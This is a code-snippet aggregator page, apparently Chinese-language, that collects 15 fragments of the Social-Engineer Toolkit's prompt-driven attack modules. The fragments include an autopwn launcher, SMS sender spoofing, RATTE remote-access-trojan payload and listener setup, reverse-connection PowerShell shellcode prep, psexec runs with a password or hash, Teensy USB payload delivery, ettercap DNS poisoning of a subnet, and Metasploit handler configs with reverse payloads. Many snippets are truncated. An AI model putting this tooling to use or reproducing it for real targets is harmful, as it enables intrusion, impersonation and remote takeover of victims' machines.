本文整理汇总了Python中src.core.setcore.setprompt函数的典型用法代码示例。如果您正苦于以下问题:Python setprompt函数的具体用法?Python setprompt怎么用?Python setprompt使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了setprompt函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: do_autopwn
def do_autopwn():
print "Doing do_autopwn"
# pull the metasploit database
database = setcore.meta_database()
range = raw_input(setcore.setprompt(["19", "20"], "Enter the IP ranges to attack (nmap syntax only)"))
# prep the answer file
prep(database, range)
confirm_attack = raw_input(setcore.setprompt(["19", "20"], "You are about to attack systems are you sure [y/n]"))
# if we are sure, then lets do it
if confirm_attack == "yes" or confirm_attack == "y":
launch()
示例2: _do_sms
def _do_sms():
print("""\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""")
print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
"This is a third party service outside of the control from the Social-Engineer Toolkit. "
"The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
"to use in order to allow SET to perform the SMS spoofing. You will need to visit "
"https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
"payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
"plan that you want, you will need to remember your email address and password used for "
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
core.print_status("Note that the password below will be masked and you will not see the output.")
pw = getpass.getpass(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
tonumber = input(core.setprompt(["7"], "Enter the number to send the SMS TO - be sure to include "
"country code (example: +15551234567)"))
fromnumber = input(core.setprompt(["7"], "Enter the number you want to come FROM - be sure to include "
"country code (example: +15551234567)"))
message = input(core.setprompt(["7"], "Enter the message you want to send via the text message"))
# note that the function for this is in a compiled python file with no source -
# this was done at the request of the third party we use since the API is not documented.
# I hand wrote the code and can validate its authenticity - it imports python requests
# and json and uses that to interact with the API. From a security standpoint if you are
# uncomfortable using this - feel free to ping me and I can walk you through what I do
# without giving away the API from the third party.
from src.sms.protectedapi import send_sms
send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber, message)
else:
core.print_status("Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector...")
示例3: main
def main():
############
# get User Input
############
ipaddr=raw_input(core.setprompt(["9", "2"], "IP address to connect back on"))
try:
ratteport=int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on")))
while ratteport==0 or ratteport > 65535:
core.PrintWarning('Port must not be equal to javaport!')
ratteport=int(raw_input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
except ValueError:
ratteport=8080
persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent="NO"
else:
persistent="YES"
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr,ratteport,persistent,customexe)
core.PrintStatus("Payload has been exported to src/program_junk/ratteM.exe")
############
# start ratteserver
############
prompt=raw_input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
if prompt == "yes" or prompt == "" or prompt == "y":
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
示例4: file
for name in glob.glob("modules/*.py"):
counter = counter + 1
fileopen = file(name, "r")
for line in fileopen:
line = line.rstrip()
match = re.search("MAIN=", line)
if match:
line = line.replace('MAIN="', "")
line = line.replace('"', "")
line = " " + str(counter) + ". " + line
print line
print "\n 99. Return to the previous menu\n"
choice = raw_input(setcore.setprompt(["9"], ""))
if choice == 'exit':
setcore.ExitSet()
if choice == '99':
menu_return = "true"
# throw error if not integer
try:
choice = int(choice)
except:
setcore.PrintWarning("An integer was not used try again")
choice = raw_input(setcore.setprompt(["9"], ""))
# start a new counter to match choice
示例5: input
import subprocess
import src.core.setcore as core
from src.core.menu import text
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
core.debug_msg(core.mod_name(), "printing 'text.powershell menu'", 5)
show_powershell_menu = core.create_menu(text.powershell_text, text.powershell_menu)
powershell_menu_choice = input(core.setprompt(["29"], ""))
if powershell_menu_choice != "99":
# specify ipaddress of reverse listener
#ipaddr = core.grab_ipaddress()
ipaddr = raw_input("Enter the IPAddress or DNS name for the reverse host: ")
core.update_options("IPADDR=" + ipaddr)
# if we select alphanumeric shellcode
if powershell_menu_choice == "1":
port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT=" + port)
core.update_options("POWERSHELL_SOLO=ON")
core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")
示例6: auxiliary
# SMBPass no The password for the specified username
# SMBSHARE C$ yes The name of a writeable share on the server
# SMBUser no The username to authenticate as
# THREADS 1 yes The number of concurrent threads
# WINPATH WINDOWS yes The name of the remote Windows directory
# msf auxiliary(psexec_command) >
# grab config options for stage encoding
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
rhosts = input(core.setprompt(["32"], "Enter the IP Address or range (RHOSTS) to connect to")) # rhosts
# username for domain/workgroup
username = input(core.setprompt(["32"], "Enter the username"))
# password for domain/workgroup
password = input(core.setprompt(["32"], "Enter the password or the hash"))
domain = input(core.setprompt(["32"], "Enter the domain name (hit enter for logon locally)")) # domain name
threads = input(core.setprompt(["32"], "How many threads do you want [enter for default]"))
# if blank specify workgroup which is the default
if domain == "":
domain = "WORKGROUP"
# set the threads
if threads == "":
threads = "15"
payload = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=").lower()
示例7: print
you to have a Teensy device with a soldered USB device on it and place the
file that this tool outputs in order to successfully complete the task.
It works by reading natively off the SDCard into a buffer space thats then
written out through the keyboard.
""")
# if we hit here we are good since msfvenom is installed
print("""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
enabled.\n""")
# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if not os.path.isfile(path):
while True:
core.print_warning("Filename not found, try again")
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if os.path.isfile(path):
break
core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.")
core.print_status("Converting the executable to a hexadecimal form to be converted later...")
with open(path, "rb") as fileopen:
data = fileopen.read()
data = binascii.hexlify(data)
with open("converts.txt", "w") as filewrite:
filewrite.write(data)
示例8: file
# make directory if it's not there
if not os.path.isdir("src/program_junk/web_clone/"):
os.makedirs("src/program_junk/web_clone/")
# grab ip address and SET web server interface
if os.path.isfile("src/program_junk/interface"):
fileopen = file("src/program_junk/interface", "r")
for line in fileopen:
ipaddr = line.rstrip()
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file ("src/program_junk/ipaddr.file", "r")
for line in fileopen:
webserver = line.rstrip()
if not os.path.isfile("src/program_junk/ipaddr.file"):
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on for the reverse listener"))
else:
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file("src/program_junk/ipaddr.file", "r")
for line in fileopen:
ipaddr = line.rstrip()
webserver = ipaddr
# grab port options from payloadgen.py
if os.path.isfile("src/program_junk/port.options"):
fileopen = file("src/program_junk/port.options", "r")
for line in fileopen:
port = line.rstrip()
else:
port = raw_input(setcore.setprompt("0", "Port you want to use for the connection back"))
示例9: print
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print ("\n [****] Custom Template Generator [****]\n")
author=raw_input(core.setprompt(["7"], "Name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
origin=raw_input(core.setprompt(["7"], "Source phone # of the template"))
subject=raw_input(core.setprompt(["7"], "Subject of the template"))
body=raw_input(core.setprompt(["7"], "Body of the message"))
filewrite=file("src/templates/sms/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('ORIGIN='+'"'+origin+'"\n\n')
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
core.print_error("An error occured:")
core.print_error("ERROR:" + str(e))
示例10: print
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
pw = input(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
示例11:
After the conversion takes place, Alphanumeric shellcode will then be injected
straight into memory and the stager created and shot back to you.
""")
# if we dont detect metasploit
if not os.path.isfile(msf_path):
sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n")
# if we hit here we are good since msfvenom is installed
###################################################
# USER INPUT: SHOW PAYLOAD MENU 2 #
###################################################
show_payload_menu2 = core.create_menu(payload_menu_2_text, payload_menu_2)
payload = (input(core.setprompt(["14"], "")))
if payload == "exit":
core.exit_set()
# if its default then select meterpreter
if payload == "":
payload = "2"
# assign the right payload
payload = ms_payload(payload)
# if we're downloading and executing a file
url = ""
port = ""
if payload == "windows/download_exec":
示例12: check_options
etterpath=re.search("ETTERCAP_PATH=", line)
if etterpath:
line=line.rstrip()
path=line.replace("ETTERCAP_PATH=", "")
if not os.path.isfile(path):
path = ("/usr/local/share/ettercap")
# if we are using ettercap then get everything ready
if ettercapchoice== 'y':
# grab ipaddr
if check_options("IPADDR=") != 0:
ipaddr = check_options("IPADDR=")
else:
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on: "))
update_options("IPADDR=" + ipaddr)
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
示例13: prep_powershell_payload
def prep_powershell_payload():
# grab stage encoding flag
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
# check to see if we are just generating powershell code
powershell_solo = core.check_options("POWERSHELL_SOLO")
# check if port is there
port = core.check_options("PORT=")
# check if we are using auto_migrate
auto_migrate = core.check_config("AUTO_MIGRATE=")
# check if we are using pyinjection
pyinjection = core.check_options("PYINJECTION=")
if pyinjection == "ON":
# check to ensure that the payload options were specified right
if os.path.isfile(os.path.join(core.setdir, "payload_options.shellcode")):
pyinjection = "on"
core.print_status("Multi/Pyinjection was specified. Overriding config options.")
else:
pyinjection = "off"
# grab ipaddress
if core.check_options("IPADDR=") != 0:
ipaddr = core.check_options("IPADDR=")
else:
ipaddr = input("Enter the ipaddress for the reverse connection: ")
core.update_options("IPADDR=" + ipaddr)
# check to see if we are using multi powershell injection
multi_injection = core.check_config("POWERSHELL_MULTI_INJECTION=").lower()
# turn off multi injection if pyinjection is specified
if pyinjection == "on":
multi_injection = "off"
# check what payloads we are using
powershell_inject_x86 = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=")
# if we specified a hostname then default to reverse https/http
if not core.validate_ip(ipaddr):
powershell_inject_x86 = "windows/meterpreter/reverse_http"
# prompt what port to listen on for powershell then make an append to the current
# metasploit answer file
if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
core.print_status("POWERSHELL_INJECTION is set to ON with multi-pyinjector")
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
with open(os.path.join(core.setdir, "meta_config_multipyinjector")) as fileopen:
data = fileopen.read()
match = re.search(port, data)
if not match:
with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"set EnableStageEncoding {3}\n"
"set ExitOnSession false\n"
"exploit -j\n".format(powershell_inject_x86, ipaddr, port, stage_encoding))
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
# check to see if the meta config multi pyinjector is there
if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
if core.check_options("PORT=") != 0:
port = core.check_options("PORT=")
# if port.options isnt there then prompt
else:
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
# turn off multi_injection if we are riding solo from the powershell menu
if powershell_solo == "ON":
multi_injection = "off"
pyinjection = "on"
# if we are using multi powershell injection
if multi_injection == "on" and pyinjection == "off":
core.print_status("Multi-Powershell-Injection is set to ON, this should be sweet...")
# define a base variable
x86 = ""
# specify a list we will use for later
multi_injection_x86 = ""
#.........这里部分代码省略.........
示例14: raw_input
import subprocess
import os
import re
import sys
from src.core import setcore
# definepath
definepath=os.getcwd()
sys.path.append(definepath)
meta_path = setcore.meta_path()
# launch msf listener
setcore.PrintInfo("The payload can be found in the SET home directory.")
choice = raw_input(setcore.setprompt("0", "Start the listener now? [yes|no]"))
if choice == "yes" or choice == "y":
# if we didn't select the SET interactive shell as our payload
if not os.path.isfile("src/program_junk/set.payload"):
setcore.PrintInfo("Please wait while the Metasploit listener is loaded...")
subprocess.Popen("ruby %s/msfconsole -L -n -r src/program_junk/meta_config" % (meta_path), shell=True).wait()
# if we did select the set payload as our option
if os.path.isfile("src/program_junk/set.payload"):
fileopen = file("src/program_junk/port.options", "r")
set_payload = file("src/program_junk/set.payload", "r")
port = fileopen.read().rstrip()
set_payload = set_payload.read().rstrip()
if set_payload == "SETSHELL":
setcore.PrintInfo("Starting the SET Interactive Shell Listener on %s." % (port))
示例15: raw_input
sys.path.append("../")
try:
while 1:
setcore.show_banner(define_version,'1')
###################################################
# USER INPUT: SHOW MAIN MENU #
###################################################
show_main_menu = setcore.CreateMenu(text.main_text, text.main)
# special case of list item 99
print '\n 99) Return back to the main menu.\n'
main_menu_choice = (raw_input(setcore.setprompt("0", "")))
if main_menu_choice == 'exit':
break
if main_menu_choice == '1': #'Spearphishing Attack Vectors
while 1:
###################################################
# USER INPUT: SHOW SPEARPHISH MENU #
###################################################
show_spearphish_menu = setcore.CreateMenu(text.spearphish_text, text.spearphish_menu)
spearphish_menu_choice = raw_input(setcore.setprompt(["1"], ""))
if spearphish_menu_choice == 'exit':